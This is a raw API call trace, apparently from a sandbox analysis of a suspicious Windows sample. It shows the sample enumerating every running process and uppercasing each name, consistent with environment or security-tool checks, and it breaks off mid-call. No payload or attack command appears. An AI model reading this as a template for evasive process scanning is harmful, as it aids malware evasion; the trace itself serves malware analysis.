[0110.394] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0110.394] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0110.394] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0110.394] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0110.394] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.394] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0110.394] lstrlenW (lpString="svchost.exe") returned 11 [0110.394] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0110.394] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.394] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.394] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0110.395] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0110.395] lstrlenW (lpString="sihost.exe") returned 10 [0110.395] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0110.395] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0110.395] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0110.395] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0110.396] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0110.396] lstrlenW (lpString="taskhostw.exe") returned 13 [0110.396] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0110.396] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0110.396] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0110.396] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.396] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0110.397] lstrlenW (lpString="explorer.exe") returned 12 [0110.397] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0110.397] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0110.397] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0110.397] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0110.397] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0110.397] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0110.397] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0110.397] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0110.397] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0110.397] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0110.398] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0110.398] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0110.398] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0110.398] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0110.398] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0110.398] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0110.399] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0110.399] lstrlenW (lpString="SearchUI.exe") returned 12 [0110.399] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0110.399] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0110.399] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0110.399] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0110.399] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0110.399] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0110.399] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0110.399] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0110.399] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0110.400] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0110.400] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0110.400] lstrlenW (lpString="nice cu.exe") returned 11 [0110.400] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0110.400] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0110.400] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0110.400] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0110.401] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0110.401] lstrlenW (lpString="video_reviewing.exe") returned 19 [0110.401] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0110.401] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0110.401] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0110.401] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0110.402] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0110.402] lstrlenW (lpString="shame.exe") returned 9 [0110.402] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0110.402] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0110.402] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0110.402] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0110.402] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0110.402] lstrlenW (lpString="fantasy.exe") returned 11 [0110.402] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0110.403] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0110.403] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0110.403] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0110.793] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0110.793] lstrlenW (lpString="accepting.exe") returned 13 [0110.793] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0110.793] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0110.793] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0110.793] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0110.807] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0110.807] lstrlenW (lpString="authorized.exe") returned 14 [0110.807] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0110.807] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0110.807] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0110.807] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0110.808] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0110.808] lstrlenW (lpString="isp.exe") returned 7 [0110.808] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0110.808] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0110.808] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0110.808] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0110.808] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0110.808] lstrlenW (lpString="cowboy.exe") returned 10 [0110.808] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0110.808] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0110.808] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0110.808] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0110.809] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0110.809] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0110.809] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0110.809] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0110.809] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0110.809] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0110.810] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0110.810] lstrlenW (lpString="thats.exe") returned 9 [0110.810] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0110.810] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0110.810] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0110.810] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0110.811] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0110.811] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0110.811] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0110.811] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0110.811] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0110.811] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0110.812] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0110.812] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0110.812] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0110.812] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0110.812] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0110.812] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0110.812] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0110.812] lstrlenW (lpString="actual.exe") returned 10 [0110.812] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0110.812] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0110.812] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0110.812] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0110.813] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0110.813] lstrlenW (lpString="potter larry.exe") returned 16 [0110.813] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0110.813] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0110.813] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0110.813] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0110.814] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0110.814] lstrlenW (lpString="contents what certificate.exe") returned 29 [0110.814] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0110.814] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0110.814] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0110.814] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0110.815] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0110.815] lstrlenW (lpString="cindy.exe") returned 9 [0110.815] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0110.815] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0110.815] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0110.815] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0110.815] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0110.815] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0110.815] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0110.815] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0110.815] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0110.815] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0110.816] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0110.816] lstrlenW (lpString="unusual.exe") returned 11 [0110.816] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0110.816] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0110.816] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0110.816] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0110.817] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0110.817] lstrlenW (lpString="pacific.exe") returned 11 [0110.817] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0110.817] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0110.817] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0110.817] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0110.818] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0110.818] lstrlenW (lpString="phantom.exe") returned 11 [0110.818] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0110.818] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0110.818] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0110.818] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0110.818] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="backgroundTaskHost.exe" | out: lpString1="backgroundTaskHost.exe") returned="backgroundTaskHost.exe" [0110.818] lstrlenW (lpString="backgroundTaskHost.exe") returned 22 [0110.818] CharUpperBuffW (in: lpsz="backgroundTaskHost.exe", cchLength=0x16 | out: lpsz="BACKGROUNDTASKHOST.EXE") returned 0x16 [0110.818] PathFindFileNameW (pszPath="BACKGROUNDTASKHOST.EXE") returned="BACKGROUNDTASKHOST.EXE" [0110.818] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BACKGROUNDTASKHOST.EXE" | out: lpString1="BACKGROUNDTASKHOST.EXE") returned="BACKGROUNDTASKHOST.EXE" [0110.818] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0110.819] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0110.819] lstrlenW (lpString="audiodg.exe") returned 11 [0110.819] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0110.819] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0110.819] lstrcpyW (in: 